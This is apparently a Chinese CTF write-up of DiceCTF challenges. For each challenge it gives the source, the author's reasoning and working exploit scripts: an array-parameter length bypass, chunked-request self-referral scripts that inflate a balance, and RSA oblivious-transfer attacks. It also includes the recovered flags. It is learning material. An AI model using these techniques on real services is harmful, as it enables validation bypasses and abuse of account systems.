Web cookie-recipes-v3
Mmmmmmm…
const express = require ('express' )const app = express ()const cookies = new Map ()app.use ((req, res, next ) => { const cookies = req.headers .cookie const user = cookies?.split ('=' )?.[1 ] if (user) { req.user = user } else { const id = Math .random ().toString (36 ).slice (2 ) res.setHeader ('set-cookie' , `user=${id} ` ) req.user = id } next () }) app.get ('/' , (req, res ) => { const count = cookies.get (req.user ) ?? 0 res.type ('html' ).send (` <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1/new.min.css"> <link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css"> <div>You have <span>${count} </span> cookies</div> <button id="basic">Basic cookie recipe (makes one)</button> <br> <button id="advanced">Advanced cookie recipe (makes a dozen)</button> <br> <button disabled>Super cookie recipe (makes a million)</button> <br> <button id="deliver">Deliver cookies</button> <script src="/script.js"></script> ` )}) app.get ('/script.js' , (_req, res ) => { res.type ('js' ).send (` const basic = document.querySelector('#basic') const advanced = document.querySelector('#advanced') const deliver = document.querySelector('#deliver') const showCookies = (number) => { const span = document.querySelector('span') span.textContent = number } basic.addEventListener('click', async () => { const res = await fetch('/bake?number=1', { method: 'POST' }) const number = await res.text() showCookies(+number) }) advanced.addEventListener('click', async () => { const res = await fetch('/bake?number=12', { method: 'POST' }) const number = await res.text() showCookies(+number) }) deliver.addEventListener('click', async () => { const res = await fetch('/deliver', { method: 'POST' }) const text = await res.text() alert(text) }) ` )}) app.post ('/bake' , (req, res ) => { const number = req.query .number if (!number) { res.end ('missing number' ) } else if (number.length <= 2 ) { cookies.set (req.user , (cookies.get (req.user ) ?? 0 ) + Number (number)) res.end (cookies.get (req.user ).toString ()) } else { res.end ('that is too many cookies' ) } }) app.post ('/deliver' , (req, res ) => { const current = cookies.get (req.user ) ?? 0 const target = 1_000_000_000 if (current < target) { res.end (`not enough (need ${target - current} ) more` ) } else { res.end (process.env .FLAG ) } }) app.listen (3000 )
点击量需要十亿次
app.post ('/bake' , (req, res ) => { const number = req.query .number if (!number) { res.end ('missing number' ) } else if (number.length <= 2 ) { cookies.set (req.user , (cookies.get (req.user ) ?? 0 ) + Number (number)) res.end (cookies.get (req.user ).toString ()) } else { res.end ('that is too many cookies' ) } })
限制了我们传入的数字字符串number
长度小于等于2
,这里可以用数组绕过 ,从而检验的是数组的长度 ,而不是字符串长度 POST /bake?number[]=99999999999999
pyramid(复现学习)
Would you like to buy some supplements?
const express = require ('express' )const crypto = require ('crypto' )const app = express ()const css = ` <link rel="stylesheet" href="https://unpkg.com/axist@latest/dist/axist.min.css" > ` const users = new Map ()const codes = new Map ()const random = ( ) => crypto.randomBytes (16 ).toString ('hex' )const escape = (str ) => str.replace (/</g , '<' )const referrer = (code ) => { if (code && codes.has (code)) { const token = codes.get (code) if (users.has (token)) { return users.get (token) } } return null } app.use ((req, _res, next ) => { const token = req.headers .cookie ?.split ('=' )?.[1 ] if (token) { req.token = token if (users.has (token)) { req.user = users.get (token) } } next () }) app.get ('/' , (req, res ) => { res.type ('html' ) if (req.user ) { res.end (` ${css} <h1>Account: ${escape (req.user.name)} </h1> You have <strong>${req.user.bal} </strong> coins. You have referred <strong>${req.user.ref} </strong> users. <hr> <form action="/code" method="GET"> <button type="submit">Generate referral code</button> </form> <form action="/cashout" method="GET"> <button type="submit"> Cashout ${req.user.ref} referrals </button> </form> <form action="/buy" method="GET"> <button type="submit">Purchase flag</button> </form> ` ) } else { res.end (` ${css} <h1>Register</h1> <form action="/new" method="POST"> <input name="name" type="text" placeholder="Name" required> <input name="refer" type="text" placeholder="Referral code (optional)" > <button type="submit">Register</button> </form> ` ) } }) app.post ('/new' , (req, res ) => { const token = random () const body = [] req.on ('data' , Array .prototype .push .bind (body)) req.on ('end' , () => { const data = Buffer .concat (body).toString () const parsed = new URLSearchParams (data) const name = parsed.get ('name' )?.toString () ?? 'JD' const code = parsed.get ('refer' ) ?? null const r = referrer (code) if (r) { r.ref += 1 } users.set (token, { name, code, ref : 0 , bal : 0 , }) }) res.header ('set-cookie' , `token=${token} ` ) res.redirect ('/' ) }) app.get ('/code' , (req, res ) => { const token = req.token if (token) { const code = random () codes.set (code, token) res.type ('html' ).end (` ${css} <h1>Referral code generated</h1> <p>Your code: <strong>${code} </strong></p> <a href="/">Home</a> ` ) return } res.end () }) app.get ('/cashout' , (req, res ) => { if (req.user ) { const u = req.user const r = referrer (u.code ) if (r) { [u.ref , r.ref , u.bal ] = [0 , r.ref + u.ref / 2 , u.bal + u.ref / 2 ] } else { [u.ref , u.bal ] = [0 , u.bal + u.ref ] } } res.redirect ('/' ) }) app.get ('/buy' , (req, res ) => { if (req.user ) { const user = req.user if (user.bal > 100_000_000_000 ) { user.bal -= 100_000_000_000 res.type ('html' ).end (` ${css} <h1>Successful purchase</h1> <p>${process.env.FLAG} </p> ` ) return } } res.type ('html' ).end (` ${css} <h1>Not enough coins</h1> <a href="/">Home</a> ` )}) app.listen (3000 )
太好玩了,简直无懈可击,不是吗?(潘队:还是太安全了;放弃了,我需要马上玩游戏)
用户不使用推荐码进行注册,那么拉到的人头都是自己的;而使用推荐码注册,拉到的人头要跟上级对半分
emmm,感觉是可以通过自荐 来获得1.5的指数爆炸 效果,如果可以的话,应该发送63个数据包这样就可以实现。我测试过自荐,但很可惜,它不是在原有基础上再进行1.5指数倍增长,而是一部分一部分的转化,是加算,并且,通过发包发现,并不能实现1.5倍的转化,拿到多少是多少,意思就是没能实现自荐。。。
总不能我yakit
多线程发包发到一千亿吧()
这题就像一个倒立的金字塔,越下面的人收获就越少……
赛后,要了V&N
一位师傅的exp
,钻研之后,接着又去discord
找wp
,均进行了小改,以下脚本全部实现了自动化
首先,说一下实现自荐 的思路:其实是因为/new
路径下的req.on('data') req.on('end')
,这里导致了可以实现分块传输 ,然后我们第一个块先new
,获取到token
(读完请求body
就可以拿到token
),接着Python发包
获取到code
,第二个块就自荐注册,然后关闭进程 ,注意此过程token
是一直要有的,最后要用一下推荐码才能有最开始的1.5,然后进行转换63次 即可(1.5^63=1240亿)
import socketimport requestsimport reimport sslfrom tqdm import trangedef addRef (code ): url = "https://pyramid.dicec.tf/new" data = { "name" : "attacker" , "refer" : code } requests.post(url, data=data, verify=True ) def exploit (): host = 'pyramid.dicec.tf' port = 443 context = ssl.create_default_context() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssl_sock = context.wrap_socket(s, server_hostname=host) ssl_sock.connect((host, port)) request = ( "POST /new HTTP/1.1\r\n" "Host: {host}\r\n" "Transfer-Encoding: chunked\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "\r\n" ).format (host=host) ssl_sock.send(request.encode()) response = b'' while b'\r\n\r\n' not in response: response += ssl_sock.recv(1024 ) headers = response.split(b'\r\n\r\n' )[0 ].decode() cookie_header = [line for line in headers.split( '\r\n' ) if 'set-cookie:' in line.lower()][0 ] token = cookie_header.split('=' )[1 ].split(';' )[0 ] url = "https://pyramid.dicec.tf/code" cookie = { "token" : token } res = requests.get(url, cookies=cookie, verify=True ) code = re.findall(r'<strong>(.*?)</strong>' , res.text)[0 ] print (f"获取到的code: {code} " ) refer_data = f"name=attacker&refer={code} " .encode() chunk2_length = format (len (refer_data), 'x' ) chunk2 = f"{chunk2_length} \r\n{refer_data.decode()} \r\n" ssl_sock.send(chunk2.encode()) ssl_sock.send(b"0\r\n\r\n" ) ssl_sock.close() print (f"[+] Exploit成功!Token已注入:{token} " ) addRef(code) return token def cashout (token ): url = "https://pyramid.dicec.tf/cashout" cookie = { "token" : token } requests.get(url, cookies=cookie, verify=True ) if __name__ == "__main__" : token = exploit() for _ in trange(63 ): cashout(token) res = requests.get("https://pyramid.dicec.tf/buy" , cookies={"token" : token}) print (res.text)
这里是V&N
的师傅的exp
,我小改动了一下,主要是通过socket
创建进程,注意到分块请求头 和结束块
import socketimport sslimport reimport requestsfrom tqdm import trangehostname = 'pyramid.dicec.tf' url = f'http://{hostname} ' context = ssl.create_default_context() with socket.create_connection((hostname, 443 )) as sock: with context.wrap_socket(sock, server_hostname=hostname) as ssock: ssock.send(b'POST /new HTTP/1.1\r\n' b'Host: pyramid.dicec.tf\r\n' b'Connection: keep-alive\r\n' b'Keep-Alive: timeout=25\r\n' b'Host: pyramid.dicec.tf\r\n' b'Content-Length: 51\r\n' b'\r\n\r\n' ) res = ssock.recv(4096 ).decode() token = re.search(r"token=(\w+)" , res)[1 ] print (f'[+] Token: {token} ' ) resp = requests.get(url + '/code' , cookies={'token' : token}) code = re.search(r"strong>(\w+)</strong" , resp.text)[1 ] print (f'[+] Code: {code} ' ) ssock.send(f'name=pepos&refer={code} ' .encode()) requests.post(url + '/new' , data={'name' : 'pepos' , 'refer' : code}) print ('[+] Generated self-referential user' ) ssock.close() for _ in trange(63 ): requests.get(url + '/cashout' , cookies={'token' : token}) res = requests.get(url + '/buy' , cookies={'token' : token}) print (res.text)
这里是discord
上面一位师傅发的,也是通过socket
创建进程,但这里并没有发现需要分块请求头,有点奇怪
import requestsfrom pwn import *from tqdm import trangeURL = 'https://pyramid.dicec.tf' r = remote('pyramid.dicec.tf' , 443 , ssl=True ) r.send(b'POST /new HTTP/1.1\r\nHost: pyramid.dicec.tf:443\r\nContent-Length: 100\r\n\r\n' ) token = r.recv().decode().split('token=' )[1 ].split('\r\n' )[0 ] res = requests.get(URL + '/code' , cookies={'token' : token}) code = res.text.split('<strong>' )[1 ].split('</strong>' )[0 ] r.send(b'refer=' + code.encode() + b'&a=1' * 100 ) requests.post(URL + '/new' , data={'refer' : code}) for _ in trange(63 ): requests.get(URL + '/cashout' , cookies={'token' : token}) res = requests.get(URL + '/buy' , cookies={'token' : token}) print (res.text)
这也是discord
上面的一位师傅发的,也是长见识了,pwntools 也能实现分块传输 ,好思路
我试了一下,Python
的requests
发包可能是无法实现分块传输的,应该是需要借助进程才能实现
这样看,这道题还是挺有意思的
Misc dicecap
As DiceGang haven’t won a CTF in 4 months, we’ve taken to more drastic measures to get to the top of the leaderboard - hacking our competitors! This pcap was gathered from a previous “information gathering” mission, can you find the flag?
先导一下,得到一个压缩包coolzip.zip
和二进制文件main
ida
反编译
__int64 generate_password () { int v1; const char *src; const char *v3; char dest[6 ]; char s[10 ]; char v6[40 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); v1 = time(0LL ); sprintf (s, "%d" , (unsigned int )(v1 - v1 % 60 )); src = setlocale(6 , &locale); strncpy (dest, src, 5uLL ); dest[5 ] = 0 ; v3 = getlogin(); strcat (v6, s); strcat (v6, dest); strcat (v6, v3); printf ("The password is:%s\n" , v6); return 0LL ; }
交给ChatGPT
后面两个简单,就找第一个的时间即可,1743126493
,发现不对,再转化一下是,1743126480
password: 1743126480en_UShacker dice{5k1d_y0ur_w@y_t0_v1ct0ry_t0d4y!!!}
bcu-binding
Comrades, we found this old manual in our basement. Can you see if there’s anything interesting about it?
给了一个PDF 记得OSCTF
也有这样一题,也是涂黑了,但最后看文档属性就出了,这题并没有
尝试全选改变字体颜色看看有没有隐藏字符,发现异常FLAG: dice{r3ad1ng_th4_d0cs_71ccd}
Crypto vorpal-sword
Choose your own adventure!
import secretsfrom Crypto.PublicKey import RSADEATH_CAUSES = [ 'a fever' , 'dysentery' , 'measles' , 'cholera' , 'typhoid' , 'exhaustion' , 'a snakebite' , 'a broken leg' , 'a broken arm' , 'drowning' , ] def run_ot (key, msg0, msg1 ): ''' https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer ''' x0 = secrets.randbelow(key.n) x1 = secrets.randbelow(key.n) print (f'n: {key.n} ' ) print (f'e: {key.e} ' ) print (f'x0: {x0} ' ) print (f'x1: {x1} ' ) v = int (input ('v: ' )) assert 0 <= v < key.n, 'invalid value' k0 = pow (v - x0, key.d, key.n) k1 = pow (v - x1, key.d, key.n) m0 = int .from_bytes(msg0.encode(), 'big' ) m1 = int .from_bytes(msg1.encode(), 'big' ) c0 = (m0 + k0) % key.n c1 = (m1 + k1) % key.n print (f'c0: {c0} ' ) print (f'c1: {c1} ' ) if __name__ == '__main__' : with open ('flag.txt' ) as f: flag = f.read().strip() print ('=== CHOOSE YOUR OWN ADVENTURE: Vorpal Sword Edition ===' ) print ('you enter a cave.' ) for _ in range (64 ): print ('the tunnel forks ahead. do you take the left or right path?' ) key = RSA.generate(1024 ) msgs = [None , None ] page = secrets.randbits(32 ) live = f'you continue walking. turn to page {page} .' die = f'you die of {secrets.choice(DEATH_CAUSES)} .' msgs = (live, die) if secrets.randbits(1 ) else (die, live) run_ot(key, *msgs) page_guess = int (input ('turn to page: ' )) if page_guess != page: exit() print (f'you find a chest containing {flag} ' )
奥,原来这就是不经意传输
这里需要进行64次的输入 n e x0 x1 c0 c1
是给出的,v
是我们输入的 $k0\equiv (v-x0)^{d}mod(n)$ $k1\equiv(v-x1)^{d}mod(n)$ $c0\equiv m0+k0\ mod(n)$ $c1\equiv m1+k1\ mod(n)$ $m0,m1=(live,die)or(die,live)$
emm,还要注意的是句子后面都有句号 ,VScode
的copilot
给我tap
的都没有,检查了半天live = f'you continue walking. turn to page {page}.'
die = f'you die of {secrets.choice(DEATH_CAUSES)}.'
这里我们先假设m0 = die
,因此m1
是我们要知道的,同时m0
是可以爆破 DEATH_CAUSES
的
可以看到k0,k1
的形式相似,此处精心构造v=(x0+x1)/2
得到 $k1\equiv (-1)^{d}k0(mod\ n)$ 这里d
必为奇数,因为 $e d=k*\phi(n) +1$
所以有 $c0+c1\equiv m0+m1\ mod(n)$
然后就可以通过检验m1
是否符合live
前缀进行page
的查找 这里交互的话,要注意input
是需要字符串 的
from pwn import *from Crypto.Util.number import *from tqdm import trangep = remote('dicec.tf' , 31001 ) DEATH_CAUSES = [ 'a fever' , 'dysentery' , 'measles' , 'cholera' , 'typhoid' , 'exhaustion' , 'a snakebite' , 'a broken leg' , 'a broken arm' , 'drowning' ] def get_value (): return int (p.recvline().strip().split(b': ' )[1 ]) def exp (): p.recvline() n = get_value() e = get_value() x0 = get_value() x1 = get_value() v = (x0 + x1) * inverse(2 , n) % n p.sendlineafter(b'v: ' , str (v)) c0 = get_value() c1 = get_value() sum_m = (c0 + c1) % n m1_prefix = b'you continue walking. turn to page ' for case in DEATH_CAUSES: m0 = bytes_to_long(f'you die of {case } .' .encode()) m1 = long_to_bytes((sum_m - m0) % n) if m1.startswith(m1_prefix): try : page = int (m1[len (m1_prefix):-1 ]) p.sendlineafter(b'turn to page: ' , str (page)) return except ValueError: continue raise Exception("No valid page found" ) p.recvlines(2 ) for i in trange(64 ): exp() p.interactive()
you find a chest containing dice{gl3am1ng_g0ld_doubl00n}
一开始看到这个题目是有点懵的,因为还要交互,后面去学了一手春哥 的思路,tql
去搜索不经意传输 ,也发现一些有意思的题目……
winxy-pistol
Choose your own adventure!
import hashlibimport secretsfrom Crypto.PublicKey import RSAfrom Crypto.Util.strxor import strxorDEATH_CAUSES = [ 'a fever' , 'dysentery' , 'measles' , 'cholera' , 'typhoid' , 'exhaustion' , 'a snakebite' , 'a broken leg' , 'a broken arm' , 'drowning' , ] def encrypt (k, msg ): key = k.to_bytes(1024 //8 , 'big' ) msg = msg.encode().ljust(64 , b'\x00' ) pad = hashlib.shake_256(key).digest(len (msg)) return strxor(pad, msg) def run_ot (key, msg0, msg1 ): ''' https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer ''' x0 = secrets.randbelow(key.n) x1 = secrets.randbelow(key.n) print (f'n: {key.n} ' ) print (f'e: {key.e} ' ) print (f'x0: {x0} ' ) print (f'x1: {x1} ' ) v = int (input ('v: ' )) assert 0 <= v < key.n, 'invalid value' k0 = pow (v - x0, key.d, key.n) k1 = pow (v - x1, key.d, key.n) c0 = encrypt(k0, msg0) c1 = encrypt(k1, msg1) print (f'c0: {c0.hex ()} ' ) print (f'c1: {c1.hex ()} ' ) if __name__ == '__main__' : with open ('flag.txt' ) as f: flag = f.read().strip() with open ('key.pem' , 'rb' ) as f: key = RSA.import_key(f.read()) print ('=== CHOOSE YOUR OWN ADVENTURE: Winxy Pistol Edition ===' ) print ('you enter a cave.' ) for _ in range (64 ): print ('the tunnel forks ahead. do you take the left or right path?' ) msgs = [None , None ] page = secrets.randbits(32 ) live = f'you continue walking. turn to page {page} .' die = f'you die of {secrets.choice(DEATH_CAUSES)} .' msgs = (live, die) if secrets.randbits(1 ) else (die, live) run_ot(key, *msgs) page_guess = int (input ('turn to page: ' )) if page_guess != page: exit() print (f'you find a chest containing {flag} ' )
诶,才发现这题是上一题的加强版吧,但下班睡觉了
c0,c1
的加密方式改为shake_256(key)
与异或,关键的一点是rsa的参数固定了
赛后再来学一手,文档里面沛公写的思路太简洁了,又参考了一下maple3142师傅的wp 才搞懂,确实是需要开多线程
思路如下:首先令v = x0
,k0 = 0
,$k1\equiv(v-x1)^{d}mod\ n$
然后我们再开一个进程,令$k0’\equiv(v’-x0’)^{d}\equiv(v-x1)^{d}mod\ n\equiv k1$
那么,v' = v + x0' - x1
此时我们可以先假设m0 = die
,$c0’\oplus c1=m0’\oplus m1$
然后因为是异或算法,有二分之一的概率m1
的page
会被异或掉,但如果m0' = die
,二者异或的话,因为die
的死法比较短并且进行的是零填充 ,所以是可以拿到page
的
import hashlibimport refrom Crypto.Util.strxor import strxorfrom pwn import context, remotefrom tqdm import trangedef decrypt (k, ct ): key = k.to_bytes(1024 // 8 , "big" ) pad = hashlib.shake_256(key).digest(len (ct)) return strxor(pad, ct) def connect (): io = remote("dicec.tf" , 31002 ) return io def recv (io ): io.recvuntil(b"n: " ) n = int (io.recvline().strip()) io.recvuntil(b"e: " ) e = int (io.recvline().strip()) io.recvuntil(b"x0: " ) x0 = int (io.recvline().strip()) io.recvuntil(b"x1: " ) x1 = int (io.recvline().strip()) return n, e, x0, x1 def ot (io, v ): io.sendlineafter(b"v: " , str (v).encode()) io.recvuntil(b"c0: " ) c0 = bytes .fromhex(io.recvlineS().strip()) io.recvuntil(b"c1: " ) c1 = bytes .fromhex(io.recvlineS().strip()) return c0, c1 PAGE_RE = re.compile (rb"page (\d+)" ) context.log_level = "error" io = connect() for _ in trange(64 ): n, e, x0, x1 = recv(io) v = x0 c0, c1 = ot(io, v) k0 = 0 m0 = decrypt(k0, c0) if m0.startswith(b"you die of " ): while True : io2 = connect() _, _, x0p, _ = recv(io2) vp = (v - x1 + x0p) % n c0p, _ = ot(io2, vp) io2.close() m1xorm0p = strxor(c0p, c1) if b"page" in m1xorm0p: page = int (PAGE_RE.search(m1xorm0p).group(1 )) break else : page = int (PAGE_RE.search(m0).group(1 )) io.sendlineafter(b"page: " , str (page).encode()) io.interactive()
you find a chest containing dice{lu5tr0us_j3wel_tr1nk3t}
奇怪的是,我也是按照这个思路写的exp
,感觉是因为进程的问题,导致跑几下就报错断开了,改了好多遍还是无法解决……
satisfied(unsolved)
you don’t even know what you’re asking me to confess
看了一下春哥的思路,可能是cryptohack里面哈密顿回路ZKP ,好吧,不懂,下班
参考学习 野生大佬wp